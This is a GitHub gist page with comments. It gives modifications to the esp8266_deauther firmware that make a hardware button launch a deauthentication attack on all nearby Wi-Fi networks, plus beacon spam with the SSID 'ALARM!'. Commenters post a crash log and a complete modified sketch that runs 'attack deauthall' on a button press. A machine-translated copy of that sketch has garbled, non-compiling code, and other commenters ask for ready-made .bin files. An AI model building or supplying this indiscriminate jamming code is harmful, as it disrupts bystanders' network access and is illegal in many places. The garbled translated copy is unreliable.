Skip to content

Instantly share code, notes, and snippets.

@spacehuhn
Last active September 19, 2020 21:53
Show Gist options
  • Star 12 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save spacehuhn/4abf9675930b612cf13dc1a206275c43 to your computer and use it in GitHub Desktop.
Save spacehuhn/4abf9675930b612cf13dc1a206275c43 to your computer and use it in GitHub Desktop.
Deauth-All-Button

Disclaimer

Applying and using the following modifications are up to your responsibility.
I provide this example for you to better understand the code and how such an automatic attack-all could work.
It doesn't mean it will work, I won't provide you with further assistence, or keep this up-to-date.
These modifications make it easy to attack devices you wouldn't want to attack, keep that in mind!
You may easily violate law by using such an attack in public space.


Replace cli with serialInterface if you're using an older version of esp8266_deauther!

In the end of setup():

  pinMode(D5, INPUT_PULLUP); // enable button pin
  pinMode(D4, OUTPUT);       // enable LED pin

In the beginning of loop():

  if(digitalRead(D5)){
    if(!attack.isRunning()){
      cli.runCommand("stopap");                    // stop access point and web interface
      cli.runCommand("set beaconinterval true");   // change beacon interval from 10/s to 1/s for better performance
      cli.runCommand("scan aps -c 60s");           // start scan for access points each minute
      cli.runCommand("add ssid ALARM! -cl 60 -f"); // add SSID "ALARM!" 60 times
      cli.runCommand("attack -da -b");             // start deauth all and beacon attack
      digitalWrite(D4, LOW);                       // turn LED on
    }
  }else{
    if(attack.isRunning()){
      scan.stop();             // stop scan
      attack.stop();           // stop attack
      digitalWrite(D4, HIGH);  // turn LED off
    }
  }
@russianhackerman
Copy link

нужна помощь. подскажите куда конкретно надо вставить этот код чтобы работало?
я сделал так
`// start access point/web interface
if (settings.getWebInterface()) startAP();

// STARTED
prntln(SETUP_STARTED);

// version
prntln(settings.getVersion());

// setup LED
led.setup();

pinMode(5, INPUT_PULLUP); // притянуто к плюсу
}

void loop() {

if (digitalRead(5) == LOW) {

cli.runCommand("stopap");                    // stop access point and web interface
cli.runCommand("set beaconinterval true");   // change beacon interval from 10/s to 1/s for better performance
cli.runCommand("scan aps -c 60s");           // start scan for access points each minute
cli.runCommand("select names");
cli.runCommand("attack -da -b");             // start deauth all and beacon attack

}

currentTime = millis();`
(вероятно это неправильно но я не знаю как исправить) и получил такой результат

Mounting SPIFFS...OK
Formatting SPIFFS...OK
Switched to Channel 13
Settings loaded from /settings.json
Settings saved in /settings.json
Device names loaded from /names.json
SSIDs loaded from /ssids.json
Scan results saved in /scan.json
Serial interface enabled
Started AP
[WiFi] Path: '/web', Mode: 'AP', SSID: 'wifijammer', password: 'hackerman', channel: '13', hidden: true, captive-portal:
Exception (0):
epc1=0x402299cc epc2=0x00000000 epc3=0x00000000 excvaddr=0x00000000 depc=0x00000000

ctx: cont
sp: 3fff18b0 end: 3fff1e30 offset: 01a0

stack>>>
3fff1a50: 401030a0 00000030 0000001e ffffffff
3fff1a60: 60000200 00000008 3fffc250 4000050c
3fff1a70: 400043df 00000030 00000016 ffffffff
3fff1a80: 400044ab 3fffc718 3fff1b70 08000000
3fff1a90: 60000200 08000000 00000003 00000000
3fff1aa0: 0000ffff 00000001 04000002 003fe000
3fff1ab0: 3fff51c8 000003fe 3ffef2d4 00000030
3fff1ac0: 00000002 00000000 00000010 3fffd85c
3fff1ad0: 40205d13 00000030 00000015 ffffffff
3fff1ae0: 00000014 400042db 0000001f 3fff1b50
3fff1af0: 3fff1b50 40233406 3fff60e8 3fff28c8
3fff1b00: 3ffea020 3fff1c30 3fff2898 ffffffff
3fff1b10: 4023342f 00000000 0000001f 40101635
3fff1b20: 4000050c 00101500 3fff1b50 3fff1b50
3fff1b30: 00000008 00000030 00000000 ffffffff
3fff1b40: 3fff1b50 3fff1b50 00000008 40235512
3fff1b50: 00000010 402354fd 000000bd 000000f0
3fff1b60: 3fff2968 4022bc04 3fff2444 3fff28c8
3fff1b70: 00000002 4000410f 3fff28c8 4022bd72
3fff1b80: 3fffc718 40004a3c 000003fe 3fff51c8
3fff1b90: 3fffc718 401019c0 00000378 40233709
3fff1ba0: 000003fe 40234ae3 00000378 000003ff
3fff1bb0: 00001000 40234b79 3ffef2d4 000003ff
3fff1bc0: 000003fd 3fff1c30 003fe000 3ffef2d4
3fff1bd0: ffffff01 55aa55aa 00000013 0000001c
3fff1be0: 0000001c 00000044 00000047 000003ff
3fff1bf0: 40234a20 00000001 3ffefe4a 3fff0c14
3fff1c00: 00000001 40234a4e 00000001 402095aa
3fff1c10: 4021c7ab 3ffefe4a 00000001 4021c7a6
3fff1c20: 00000000 40255b20 3fff0960 4020c365
3fff1c30: 00000008 3fff0d44 3fff5692 00000030
3fff1c40: 3fff2fe0 0000000f 00000006 3ffe8c18
3fff1c50: 3fff1cb0 3fff1cd0 3fff1f30 402051aa
3fff1c60: 3fff2fd0 4010695e 3fff1d10 00000002
3fff1c70: 0000001e 3fff0000 00000004 4022a5f6
3fff1c80: 3fff2fd0 4010695e 3fff1d30 00000004
3fff1c90: 402258d8 3fff1ce0 3fff1d10 4022a5f6
3fff1ca0: 3fff1cf0 0000000a 3fff0d44 40225315
3fff1cb0: 3fff0d44 00000001 3ffe8ac1 40229bdc
3fff1cc0: 4025fab4 00000065 3fff0d44 3fff2fe0
3fff1cd0: 3ffe8c28 00000004 3fff0d44 402257bd
3fff1ce0: 3ffe8ac0 00000011 3fff1d30 3fff2fe0
3fff1cf0: 3ffe8c28 00000000 3fff0d44 40229cb0
3fff1d00: 40106970 3ffefeb4 3fff2fe0 0000000f
3fff1d10: 00000006 00000000 3ffefeb4 4022a5a8
3fff1d20: 3ffe8c28 00000000 3ffefeb4 4021cdf4
3fff1d30: 3fff2fe0 0000000f 00000004 4021c047
3fff1d40: 3ffe8c28 00000000 3ffefeb4 4021d42b
3fff1d50: 3fff2fe0 0000000f 4021b980 4021e88c
3fff1d60: 3fff2fe0 0000000a 3fff0d44 40225315
3fff1d70: 3fff0d44 3fff29d8 0000000f 00000006
3fff1d80: 3fff29a8 4010695e 3fff1df0 00000006
3fff1d90: 3fff1df0 00000006 3fff0d44 4022a5f6
3fff1da0: 3ffe8c2c 00000006 3fff1df0 4022a64e
3fff1db0: 3fff0960 3fff0d44 00000000 00000005
3fff1dc0: 00000000 3fff0984 3fff1df0 4022a6cc
3fff1dd0: 3ffe8c2c 3fff0d44 3fff0b98 3fff0aac
3fff1de0: 00000000 3fff0984 3fff0960 4021d5d2
3fff1df0: 3fff29b8 0000000f 00000006 00000000
3fff1e00: 00000000 00000000 00000000 3fff0e08
3fff1e10: 3fffdc20 00000000 3fff0e01 40225a19
3fff1e20: 00000000 00000000 3fff0e10 40100114
<<<stack<<<

ets Jan 8 2013,rst cause:2, boot mode:(3,7)

load 0x4010f000, len 1264, room 16
tail 0
chksum 0x42
csum 0x42
~ld

Mounting SPIFFS...OK
Formatting SPIFFS...

@glblduh
Copy link

glblduh commented Sep 7, 2019

Use this source code to use the NodeMCU built-in flash button. (Can I post this here?)
EDIT: Just modified it a bit more to fit my needs :D

/*

  Copyright (c) 2018 Stefan Kremser
         github.com/spacehuhn

===========================================
*/

extern "C" {
// Please follow this tutorial:
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
// And be sure to have the right board selected
#include "user_interface.h"
}
#include <EEPROM.h>

#include <ArduinoJson.h>
#if ARDUINOJSON_VERSION_MAJOR != 5
// The software was build using ArduinoJson v5.x
// version 6 is still in beta at the time of writing
// go to tools -> manage libraries, search for ArduinoJSON and install the latest version 5
#error Please upgrade/downgrade ArduinoJSON library to version 5!
#endif

#include "oui.h"
#include "language.h"
#include "functions.h"
#include "Settings.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "CLI.h"
#include "DisplayUI.h"
#include "A_config.h"
#include "webfiles.h"

#include "LED.h"

// Run-Time Variables //
LED led;
Settings settings;
Names names;
SSIDs ssids;
Accesspoints accesspoints;
Stations stations;
Scan scan;
Attack attack;
CLI cli;
DisplayUI displayUI;

#include "wifi.h"

uint32_t autosaveTime = 0;
uint32_t currentTime = 0;

bool booted = false;
int glblattack = 0;

void setup() {
// for random generator
randomSeed(os_random());

// start serial
Serial.begin(115200);
Serial.println();

// start SPIFFS
prnt(SETUP_MOUNT_SPIFFS);
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);

// Start EEPROM
EEPROM.begin(4096);

// auto repair when in boot-loop
uint8_t bootCounter = EEPROM.read(0);

if (bootCounter >= 3) {
    prnt(SETUP_FORMAT_SPIFFS);
    SPIFFS.format();
    prntln(SETUP_OK);
} else {
    EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
    EEPROM.commit();
}

// get time
currentTime = millis();

// load settings
settings.load();

// set mac for access point
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());

// start WiFi
WiFi.mode(WIFI_OFF);
wifi_set_opmode(STATION_MODE);
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
    scan.sniffer(buf, len);
});

// set mac for station
wifi_set_macaddr(STATION_IF, settings.getMacSt());

// start display
if (settings.getDisplayInterface()) {
    displayUI.setup();
    displayUI.mode = displayUI.DISPLAY_MODE::INTRO;
}

// copy web files to SPIFFS
copyWebFiles(false);

// load everything else
names.load();
ssids.load();
cli.load();

// create scan.json
scan.setup();

// set channel
setWifiChannel(settings.getChannel());

// load Wifi settings: SSID, password,...
#ifdef DEFAULT_SSID
if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
#endif // ifdef DEFAULT_SSID
loadWifiConfigDefaults();

// dis/enable serial command interface
if (settings.getCLI()) {
    cli.enable();
} else {
    prntln(SETUP_SERIAL_WARNING);
    Serial.flush();
    Serial.end();
}

// start access point/web interface
if (settings.getWebInterface()) startAP();

// STARTED
prntln(SETUP_STARTED);

// version
prntln(settings.getVersion());

// setup LED
led.setup();

pinMode(D3, INPUT_PULLUP); // enable button pin

}

void loop() {

if(digitalRead(D3) == LOW){
glblattack = 1;
if (glblattack == 1) {
if(!attack.isRunning()){
cli.runCommand("attack deauthall"); // start deauth all and beacon attack
digitalWrite(D4, LOW); // turn LED on
}
}
}else{
if (glblattack == 1) {
if(attack.isRunning()){
attack.stop(); // stop attack
digitalWrite(D4, HIGH); // turn LED off
glblattack = 0;
}
}
}

currentTime = millis();

led.update();    // update LED color
wifiUpdate();    // manage access point
attack.update(); // run attacks
displayUI.update();
cli.update();    // read and run serial input
scan.update();   // run scan
ssids.update();  // run random mode, if enabled

// auto-save
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
    autosaveTime = currentTime;
    names.save(false);
    ssids.save(false);
    settings.save(false);
}

if (!booted) {
    // reset boot counter
    EEPROM.write(0, 0);
    EEPROM.commit();
    booted = true;

#ifdef HIGHLIGHT_LED
displayUI.setupLED();
#endif // ifdef HIGHLIGHT_LED
}
}

@FixxCZ
Copy link

FixxCZ commented Sep 29, 2019

Thanks @glblduh, works like charm on WEMOS D1.

@Malta112
Copy link

Can somebody make me a .bin file for a esp8266

@vovanhau
Copy link

Sử dụng mã nguồn này để sử dụng nút flash tích hợp NodeMCU. (Tôi có thể đăng cái này ở đây không?)
EDIT: Chỉ cần sửa đổi nó thêm một chút để phù hợp với nhu cầu của tôi: D

/ *

  Copyright (c) 2018 Stefan Kremser
         github.com/spacehuhn

===========================================

  • /

extern "C" {
// Vui lòng làm theo hướng dẫn này:
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
// Và đảm bảo chọn đúng bảng
#include "user_interface.h"
}
#include <EEPROM.h>

#include <ArduinoJson.h>
#if ARDUINOJSON_VERSION_MAJOR! = 5
// Phần mềm được xây dựng bằng ArduinoJson v5.x
// phiên bản 6 vẫn đang trong giai đoạn thử nghiệm tại thời điểm viết bài
// vào công cụ -> quản lý thư viện, tìm kiếm ArduinoJSON và cài đặt phiên bản 5 mới nhất
#error Vui lòng nâng cấp / hạ cấp thư viện ArduinoJSON xuống phiên bản 5!
#endif

#include "oui.h"
#include "language.h"
#include "functions.h"
#include "Settings.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"

bao gồm "Attack.h"

#include "CLI.h"
#include "DisplayUI.h"
#include "A_config.h"
#include "webfiles.h"

#include "LED.h"

// Biến thời gian chạy //
LED dẫn;
Cài đặt cài đặt;
Những cái tên;
SSID ssids;
Accesspoints điểm truy cập;
Các nhà ga;
Quét quét;
Tấn công tấn công;
CLI cli;
DisplayUI hiển thịUI;

#include "wifi.h"

uint32_t autosaveTime = 0;
uint32_t currentTime = 0;

bool khởi động = false;
int glblattack = 0;

void setup () {
// cho trình tạo ngẫu nhiên
randomSeed (os_random ());

// start serial
Serial.begin(115200);
Serial.println();

// start SPIFFS
prnt(SETUP_MOUNT_SPIFFS);
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);

// Start EEPROM
EEPROM.begin(4096);

// auto repair when in boot-loop
uint8_t bootCounter = EEPROM.read(0);

if (bootCounter >= 3) {
    prnt(SETUP_FORMAT_SPIFFS);
    SPIFFS.format();
    prntln(SETUP_OK);
} else {
    EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
    EEPROM.commit();
}

// get time
currentTime = millis();

// load settings
settings.load();

// set mac for access point
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());

// start WiFi
WiFi.mode(WIFI_OFF);
wifi_set_opmode(STATION_MODE);
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
    scan.sniffer(buf, len);
});

// set mac for station
wifi_set_macaddr(STATION_IF, settings.getMacSt());

// start display
if (settings.getDisplayInterface()) {
    displayUI.setup();
    displayUI.mode = displayUI.DISPLAY_MODE::INTRO;
}

// copy web files to SPIFFS
copyWebFiles(false);

// load everything else
names.load();
ssids.load();
cli.load();

// create scan.json
scan.setup();

// set channel
setWifiChannel(settings.getChannel());

// load Wifi settings: SSID, password,...
#ifdef DEFAULT_SSID
if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
#endif // ifdef DEFAULT_SSID
loadWifiConfigDefaults();

// dis/enable serial command interface
if (settings.getCLI()) {
    cli.enable();
} else {
    prntln(SETUP_SERIAL_WARNING);
    Serial.flush();
    Serial.end();
}

// start access point/web interface
if (settings.getWebInterface()) startAP();

// STARTED
prntln(SETUP_STARTED);

// version
prntln(settings.getVersion());

// setup LED
led.setup();

pinMode(D3, INPUT_PULLUP); // enable button pin

}

void loop () {

if (digitalRead (D3) == LOW) {
glblattack = 1;
if (glblattack == 1) {
if (! attack.isRunning ()) {
cli.runCommand ("attack deauthall"); // bắt đầu deauth all và beacon attack
digitalWrite (D4, LOW); // bật đèn LED
}
}
} else {
if (glblattack == 1) {
if (attack.isRunning ()) {
attack.stop (); // dừng tấn công
digitalWrite (D4, HIGH); // tắt LED
glblattack = 0;
}
}
}

currentTime = millis();

led.update();    // update LED color
wifiUpdate();    // manage access point
attack.update(); // run attacks
displayUI.update();
cli.update();    // read and run serial input
scan.update();   // run scan
ssids.update();  // run random mode, if enabled

// auto-save
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
    autosaveTime = currentTime;
    names.save(false);
    ssids.save(false);
    settings.save(false);
}

if (!booted) {
    // reset boot counter
    EEPROM.write(0, 0);
    EEPROM.commit();
    booted = true;

#ifdef HIGHLIGHT_LED displayUI.setupLED ();
#endif // ifdef HIGHLIGHT_LED
}
}

Can I have a bin file?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment